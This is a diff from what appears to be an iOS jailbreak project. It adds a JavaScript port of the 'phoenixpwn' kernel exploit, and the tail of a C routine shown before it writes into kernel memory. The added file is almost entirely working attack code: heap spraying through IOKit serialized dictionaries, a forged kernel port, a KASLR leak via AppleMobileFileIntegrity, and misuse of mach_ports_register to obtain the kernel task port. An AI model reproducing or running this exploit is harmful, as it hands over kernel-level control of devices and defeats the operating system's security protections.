+ OUT(vm_read_overwrite(kernel_task, kernel_task_addr+0x1ac, sz, (vm_address_t)&portaddr, &sz));
+
+ vm_address_t mytaskaddr = 0;
+ vm_size_t size = sizeof(mytaskaddr);
+ OUT(vm_read_overwrite(kernel_task, portaddr+__builtin_offsetof(kport_t, ip_kobject), size, (vm_address_t)&mytaskaddr, &size));
+ printf("mytaskaddr = 0x%08x\n", mytaskaddr);
+
+ mach_port_t none = 0;
+ OUT(r3gister(mach_task_self(), &none, 1, 1));
+
+#pragma pack(4)
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[1];
+ mach_msg_trailer_t trailer;
+ } Reply;
+#pragma pack()
+ Reply reply;
+
+ while(1)
+ {
+ ret = mach_msg(&reply.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), sanity_port, 0, MACH_PORT_NULL);
+ if(ret != KERN_SUCCESS)
+ {
+ printf("cleanup done\n");
+ break;
+ }
+ mach_port_t *port = reply.init_port_set[0].address;
+
+ printf("Unregistering port %x...\n", *port);
+ mach_port_t arr[3] = { MACH_PORT_NULL, MACH_PORT_NULL, *port };
+ OUT(r3gister(mach_task_self(), arr, 3, 3));
+ uintptr_t zero = 0;
+ OUT(vm_write(kernel_task, mytaskaddr + 0x1b4, (vm_offset_t)&zero, sizeof(zero)));
+ }
+
+ out:;
+} \ No newline at end of file
diff --git a/src/stage4/kexp/exploit.js b/src/stage4/kexp/exploit.js
new file mode 100755
index 0000000..04b7c34
--- /dev/null
+++ b/src/stage4/kexp/exploit.js
@@ -0,0 +1,557 @@
+/*
+ * phoenixpwn kernel exploit
+ * reimplemented in JS
+ * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy
+ */
+
+var sanity_port = 0;
+var MACH_PORT_RIGHT_RECEIVE = 0x1;
+var MACH_MSG_TYPE_MAKE_SEND = 0x14;
+var MACH_PORT_LIMITS_INFO = 0x1;
+var MACH_PORT_LIMITS_INFO_COUNT = 0x1;
+var kport_size = 0x78;
+var kport_ip_bits4 = 0x0;
+var kport_ip_references4 = 0x4;
+var kport_ip_lock_type4 = 0x10;
+var kport_ip_messages_port_qlimit2 = 0x42;
+var kport_ip_receiver4 = 0x4c;
+var kport_ip_srights4 = 0x70;
+var KERN_SUCCESS = 0;
+var NULL = 0;
+var MACH_PORT_NULL = 0;
+var req_init_port_set = 0x1c;
+var req_head_msgh_bits = 0x0;
+var req_head_msgh_request_port = 0x8;
+var req_head_msgh_reply_port = 0xc;
+var req_head_msgh_id = 0x14;
+var req_msgh_body_msgh_descriptor_count = 0x18;
+var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2;
+var req_init_port_set_address = 0x0;
+var req_init_port_set_count = 0x4;
+var MACH_RCV_MSG = 0x2;
+var MACH_MSG_TIMEOUT_NONE = 0;
+var TASK_BSDINFO_OFFSET = 0x200;
+var BSDINFO_PID_OFFSET = 0x8;
+
+function find_kerneltask() {
+ return 0x8041200c;
+}
+
+function find_ipcspacekernel() {
+ return 0x80456664;
+}
+
+var task_self = 0;
+var kslide = 0;
+
+var fakeportData = 0;
+
+var kOSSerializeDictionary = 0x01000000;
+var kOSSerializeArray = 0x02000000;
+var kOSSerializeSet = 0x03000000;
+var kOSSerializeNumber = 0x04000000;
+var kOSSerializeSymbol = 0x08000000;
+var kOSSerializeString = 0x09000000;
+var kOSSerializeData = 0x0a000000;
+var kOSSerializeBoolean = 0x0b000000;
+var kOSSerializeObject = 0x0c000000;
+
+var kOSSerializeTypeMask = 0x7F000000;
+var kOSSerializeDataMask = 0x00FFFFFF;
+
+var kOSSerializeEndCollection = 0x80000000;
+
+var kOSSerializeMagic = 0x000000d3;
+
+var SIZEOF_BYTES_MSG = 384;
+
+var PORTS_NUM = 1024;
+var PORTS_NUM_PRESPRAY = 100;
+var MIG_MAX = 0x1000;
+
+function spray_data(mem, size, num, portptr) {
+ var err = shit_heap(4);
+ var ret = 0;
+ var master = shit_heap(4);
+ host_get_io_master(mach_host_self(), master);
+ var dict = shit_heap(MIG_MAX);
+ var __cnt = 0;
+ write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++;
+ write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++;
+
+ for (var i = 0; i < num; i++) {
+ write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
+ if (mem != 0 && size != 0) {
+ memcpy(dict + (__cnt << 2), mem, size);
+ }
+ memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size);
+ __cnt += SIZEOF_BYTES_MSG / 4;
+ }
+
+ p0laris_log("%x %x\n", master, read_u32(master));
+ p0laris_log("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide()));
+ ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr);
+ p0laris_log("still alive? %x %x\n", err, read_u32(err));
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+ p0laris_log("still alive? %x %x\n", err, read_u32(err));
+
+ return ret;
+}
+
+function copyinPort(kport, cnt) {
+ var err = shit_heap(4);
+ var ret = 0;
+ var self = task_self;
+ var service = MACH_PORT_NULL;
+ var client = shit_heap(4);
+ var it = shit_heap(4);
+ var o = MACH_PORT_NULL;
+ var data = shit_heap(4);
+ var master = shit_heap(4);
+ fakeportData = shit_heap(4);
+ var host_self = mach_host_self();
+ host_get_io_master(mach_host_self(), master);
+ ret = spray_data(NULL, 0, 5, data);
+ p0laris_log("sprayed, still here\n");
+ p0laris_log("spray_data=%d (%s)\n", ret, mach_error_string(ret));
+ p0laris_log("sprayed, still here\n");
+
+// p0laris_log("%x %x\n", master, read_u32(master));
+ service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity"));
+ p0laris_log("service=%x\n", service);
+
+ var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
+ p0laris_log("%x\n", tst);
+ var kpbuf = tst + 4;
+ for (var i = 0; i < cnt; i++) {
+ write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
+ }
+
+ var err = shit_heap(4);
+ var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
+ var xml = sptr(xmls);
+ ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client);
+ p0laris_log("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+ p0laris_log("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
+ IORegistryEntryGetChildIterator(service, "IOService", it);
+
+ var found = false;
+ var o = IOIteratorNext(read_u32(it));
+
+ while (o != MACH_PORT_NULL && !found) {
+ var buf = shit_heap(16 * 4);
+ var size = shit_heap(4);
+ write_u32(size, 16 * 4);
+ ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
+ p0laris_log("%d %s\n", ret, mach_error_string(ret));
+ if (ret == KERN_SUCCESS) {
+ spray_data(tst, strlen(tst) + 1, 10, fakeportData);
+ kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0;
+ p0laris_log("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16));
+ found = true;
+ return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0;
+ }
+ }
+ p0laris_log("didn't find it\n");
+}
+
+function prepare_ptr(dict, size, ptr, num) {
+ var idx = 0;
+ write_u32(dict + (idx << 2), kOSSerializeMagic); idx++;
+ write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++;
+ write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++;
+ write_u32(dict + (idx << 2), 0x0079656b); idx++;
+ write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++;
+ for (var i = 0; i < num; i++) {
+ write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++;
+ write_u32(dict + (idx << 2), ptr); idx++;
+ write_u32(dict + (idx << 2), ptr); idx++;
+ }
+
+ write_u32(size, idx * 4);
+ return KERN_SUCCESS;
+}
+
+function spray(dict, size, port) {
+ var err = shit_heap(4);
+ var ret = 0;
+ var master = shit_heap(4);
+
+ ret = host_get_io_master(mach_host_self(), master);
+// p0laris_log("yahtzee3 %d (%s) %p\n", ret, mach_error_string(ret), read_u32(master));
+// scall("p0laris_log", "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", master, 0x41414141, "IOServiceTerminate", 0x41414141, dict, 0x41414141, size, 0x41414141, MACH_PORT_NULL, 0x41414141, NULL, 0x41414141, 0, 0x41414141, err, 0x41414141, port, 0x41414141);
+ ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port);
+// p0laris_log("yahtzee %d (%s)\n", ret, mach_error_string(ret));
+
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+
+// p0laris_log("yahtzee2 %d (%s)\n", ret, mach_error_string(ret));
+
+ return ret;
+}
+
+var kp = 0;
+function spray_ports(number_port_descs) {
+ if (kp == 0) {
+ kp = shit_heap(4);
+ mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
+ mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
+ } else if (read_u32(kp) == 0) {
+ kp = shit_heap(4);
+ mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
+ mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
+ }
+
+ var mp = shit_heap(4);
+
+ var ret_ = mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp);
+// p0laris_log("mpa %d (%s)\n", ret_, mach_error_string(ret_));
+ ret_ = mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);
+// p0laris_log("mpir %d (%s)\n", ret_, mach_error_string(ret_));
+
+ ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);
+
+// p0laris_log("sp %d (%s)\n", ret_, mach_error_string(ret_));
+
+ var ret = read_u32(mp);
+ shit_heap_free(mp);
+ return ret;
+}
+
+function fast_log2(n) {
+ var i = 0;
+ while (n >>= 1) {
+ i++;
+ }
+
+ return i;
+}
+
+function fast_array_mul(arr, n) {
+ var up_to = fast_log2(n) + 1;
+ var tmp_arr = arr;
+ var done = 0;
+ for (var i = 0; i < up_to; i++) {
+ tmp_arr.push.apply(tmp_arr);
+ done = (1 << i);
+ }
+
+ return tmp_arr;
+}
+
+function send_ports(target, payload, num, number_port_descs) {
+ var init_port_set = shit_heap(num * 4);
+
+ for (var i = 0; i < num; i++) {
+ write_u32(init_port_set + (i << 2), payload);
+ }
+
+ // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8));
+
+// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
+
+// var buf = new Uint32Array((0x1c + (3 * number_port_descs);
+
+// write_u32(number_port_descs);
+
+ large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs;
+
+ var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24));
+
+ for (var i = 0; i < number_port_descs; i++) {
+ var tmp2 = (i * 3) + (req_init_port_set >>> 2);
+ large_buf[tmp2 + 0] = (init_port_set);
+ large_buf[tmp2 + 1] = (num);
+ large_buf[tmp2 + 2] = tmp;
+ }
+
+ large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)
+ large_buf[req_head_msgh_request_port >>> 2] = target;
+ large_buf[req_head_msgh_reply_port >>> 2] = 0;
+ large_buf[req_head_msgh_id >>> 2] = 1337;
+
+// p0laris_log("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100)));
+
+ var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);
+
+ return ret;
+}
+
+function release_port_ptrs(port) {
+// var req = shit_heap(0x1c + (5 * 0xc) + 0x8);
+ var req = shit_heap(0x1c + (5 * 0xc) + 0x8);
+// p0laris_log("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
+ var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ if (ret != KERN_SUCCESS) {
+ p0laris_log("mach_recv %d %s\n", ret, mach_error_string(ret));
+ }
+ shit_heap_free(req);
+}
+
+function r3gister(task, init_port_set, real_count, fake_count) {
+ var mess = shit_heap(0x1000);
+ var InP = mess;
+ var OutP = mess;
+
+ /*
+ InP->msgh_body.msgh_descriptor_count = 1;
+ InP->init_port_set.address = (void*)(init_port_set);
+ InP->init_port_set.count = real_count;
+ InP->init_port_set.disposition = 19;
+ InP->init_port_set.deallocate = FALSE;
+ InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
+ InP->NDR = NDR_record;
+ InP->init_port_setCnt = fake_count; // was real_count
+ InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
+ InP->Head.msgh_remote_port = task;
+ InP->Head.msgh_local_port = mig_get_local_port();
+ InP->Head.msgh_id = 3403;
+ InP->msgh_body.msgh_descriptor_count 0x18 0x4
+ InP->init_port_set.address 0x1c 0x4
+ InP->init_port_set.count 0x20 0x4
+ InP->init_port_set 0x1c
+ InP->NDR 0x28 0x8
+ InP->init_port_setCnt 0x30 0x4
+ InP->Head.msgh_bits 0x0 0x4
+ InP->Head.msgh_remote_port 0x8 0x4
+ InP->Head.msgh_local_port 0xc 0x4
+ InP->Head.msgh_id 0x14 0x4
+0x00000003
+0x00000034 0x0000002c
+0x00000024
+50
+78
+0x0 0x1057ec
+ */
+
+ write_u32(InP + 0x18, 1);
+ write_u32(InP + 0x1c, init_port_set);
+ write_u32(InP + 0x20, real_count);
+ write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)));
+ write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0));
+ write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4));
+ write_u32(InP + 0x30, fake_count);
+ write_u32(InP + 0x0, 0x80001513);
+ write_u32(InP + 0x8, task);
+ write_u32(InP + 0xc, mig_get_reply_port());
+ write_u32(InP + 0x14, 3403);
+
+ var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(OutP + 0x24);
+ }
+ return ret;
+}
+
+function mach_ports_lookup_shit() {
+ p0laris_log("fuck\n");
+ var arrz = shit_heap(4);
+ p0laris_log("fuck\n");
+ write_u32(arrz, 0);
+ p0laris_log("fuck\n");
+ var sz = shit_heap(4);;
+ p0laris_log("fuck\n");
+ write_u32(sz, 3);
+ p0laris_log("fuck\n");
+// var mts = mach_task_self();
+ p0laris_log("fuck\n");
+ calls4arg("mach_ports_lookup", task_self, arrz, sz, 0);
+ puts("helo");
+ p0laris_log("mpl success\n");
+ scall("p0laris_log", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp));
+ p0laris_log("mpl success\n");
+
+ return read_u32(read_u32(arrz) + 8);
+// return 0x42603;
+}
+
+var kernel_task_addr = 0;
+function get_kernel_task() {
+ var ret = 0;
+ var tfp0 = 0;
+
+ /*
+ p0laris_log("fuck\n");
+ var arrz = shit_heap(4);
+ p0laris_log("fuck\n");
+ write_u32(arrz, 0);
+ p0laris_log("fuck\n");
+ var sz = shit_heap(4);;
+ p0laris_log("fuck\n");
+ write_u32(sz, 3);
+ p0laris_log("fuck\n");
+ var mts = mach_task_self();
+ p0laris_log("fuck\n");
+ mach_ports_lookup(mts, arrz, sz);
+ p0laris_log("mpl success\n");
+ return;
+*/
+
+ sanity_port = shit_heap(4);
+
+ task_self = mach_task_self();
+
+ mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port);
+ mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND);
+ limits = shit_heap(4);
+ write_u32(limits, 1000);
+ mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT);
+
+ p0laris_log("starting exploit\n");
+
+ var data = shit_heap(16);
+ var kport = shit_heap(kport_size * 2);
+ var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something
+ write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
+ write_u32(kport + kport_ip_references4, 100);
+ write_u32(kport + kport_ip_lock_type4, 0x11);
+ write_u16(kport + kport_ip_messages_port_qlimit2, 777);
+ write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy
+ write_u32(kport + kport_ip_srights4, 99);
+
+ var big_buf = shit_heap(MIG_MAX);
+ var small_buf = shit_heap(MIG_MAX);
+
+ var big_size = shit_heap(4);
+ var small_size = shit_heap(4);
+
+ var fp = shit_heap(PORTS_NUM * 4);
+ var postSpray = shit_heap(4);
+
+ usleep(10000);
+ sched_yield();
+ var kptr = copyinPort(kport, 2);
+
+ p0laris_log("0x%08x\n", kptr);
+ write_u32(data, kptr);
+ write_u32(data + 4, kptr);
+
+ prepare_ptr(big_buf, big_size, kptr, 256);
+ prepare_ptr(small_buf, small_size, kptr, 32);
+
+again: while (true) {
+
+ sched_yield();
+ var dummy = shit_heap(4);
+ for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) {
+ var dummy = shit_heap(4);
+ spray(big_buf, read_u32(big_size), dummy);
+ }
+
+ sched_yield();
+ var dummy = shit_heap(4);
+ for (var i = 0; i < PORTS_NUM; i++) {
+// for (var i = 0; i < 8; i++) {
+ var dummy = shit_heap(4);
+ if (i % 4 == 0) {
+ p0laris_log("spray_ports %d\n", i);
+ }
+ write_u32(fp + (i << 2), spray_ports(1));
+ spray(small_buf, read_u32(small_size), dummy);
+ }
+
+ sched_yield();
+ for (var i = 0; i < PORTS_NUM; i++) {
+// for (var i = 0; i < 8; i++) {
+ release_port_ptrs(read_u32(fp + (i << 2)));
+ }
+
+// return;
+
+
+ var arrz = shit_heap(16);
+ write_u32(arrz, 0);
+ write_u32(arrz + 4, 0);
+ write_u32(arrz + 8, 0);
+ write_u32(arrz + 12, 0);
+ var sz = shit_heap(4);
+ write_u32(sz, 3);
+// mach_ports_lookup_shit_dealloc();
+ var ret__ = r3gister(mach_task_self(), arrz, 2, 3);
+ mach_ports_lookup(mach_task_self(), arrz, sz);
+ scall("p0laris_log", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp));
+ p0laris_log("mpl success\n");
+
+ var fake_port = read_u32(read_u32(arrz) + 8);
+ p0laris_log("%d %s\n", ret__, mach_error_string(ret__));
+ p0laris_log("r3gister done\n");
+// while (true) {
+ //
+// }
+ p0laris_log("fuck\n");
+// var fake_port = read_u32(read_u32(arrz) + 8);
+
+ /*
+ * BEGIN JANK FUCKING HACK
+ */
+// var fake_port = mach_ports_lookup_shit();
+ p0laris_log("fuck\n");
+ p0laris_log("%x\n", fake_port);
+ p0laris_log("fuck\n");
+ // todo: add mach_port_valid stuff
+ p0laris_log("fuck\n");
+
+ p0laris_log("fuck\n");
+ for (var i = 0; i < 0x78; i += 4) {
+ write_u32(kport + i, 0x41410000 | i);
+ }
+ for (var i = 0; i < 0x78; i += 4) {
+ write_u32(kport + i + 0x78, 0x41420000 | i);
+ }
+// write_u32(kport + 0x50, kptr + 0x78 - TASK_BSDINFO_OFFSET);
+ p0laris_log("fuck\n");
+// write_u32(ptr, find_kerneltask() + kslide - BSDINFO_PID_OFFSET);
+ p0laris_log("fuck\n");
+ var tst_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0";
+ p0laris_log("fuck\n");
+ var tst = _sptr(tst_str);
+ p0laris_log("fuck\n");
+ var kpbuf = tst + 4;
+ p0laris_log("fuck\n");
+
+ p0laris_log("fuck\n");
+ for (var i = 0; i < 2; i++) {
+ p0laris_log("fuck\n");
+ write_buf(kpbuf + (i * 0x78), read_buf(kport + (i * 0x78), 0x78), 0x78);
+ }
+ p0laris_log("fuck\n");
+ usleep(10000);
+ sched_yield();
+ mach_port_destroy(mach_task_self(), read_u32(fakeportData));
+ ret__ = spray_data(tst, tst_str.length, 10, fakeportData);
+ p0laris_log("sd %d (%s)\n", ret__, mach_error_string(ret__));
+ p0laris_log("fuck\n");
+ p0laris_log("done realloc");
+ p0laris_log("fuck\n");
+
+ p0laris_log("fuck\n");
+ var kernel_task_addr = shit_heap(4);
+ p0laris_log("fuck\n");
+ scall("p0laris_log", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr));
+ ret__ = pid_for_task(fake_port, kernel_task_addr);
+ p0laris_log("%d %s\n", ret__, mach_error_string(ret__));
+ p0laris_log("fuck\n");
+ p0laris_log("IF YOU SEE THIS AND IT LOOKS LEGIT, SHIT HAS FUCKING HAPPENED\n");
+ p0laris_log("fuck\n");
+ call4arg(sym_cache["puts"], sptr("kernel_task address: 0x" + pad_left(read_u32(kernel_task_addr).toString(16), '0', 8)), 0, 0, 0);
+ if (kernel_task_addr === 0xffffffff) {
+ continue again;
+ }
+ scall("p0laris_log", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr));
+ p0laris_log("fuck\n");
+
+ p0laris_log("get lucky\n");
+
+ return tfp0;
+ }
+}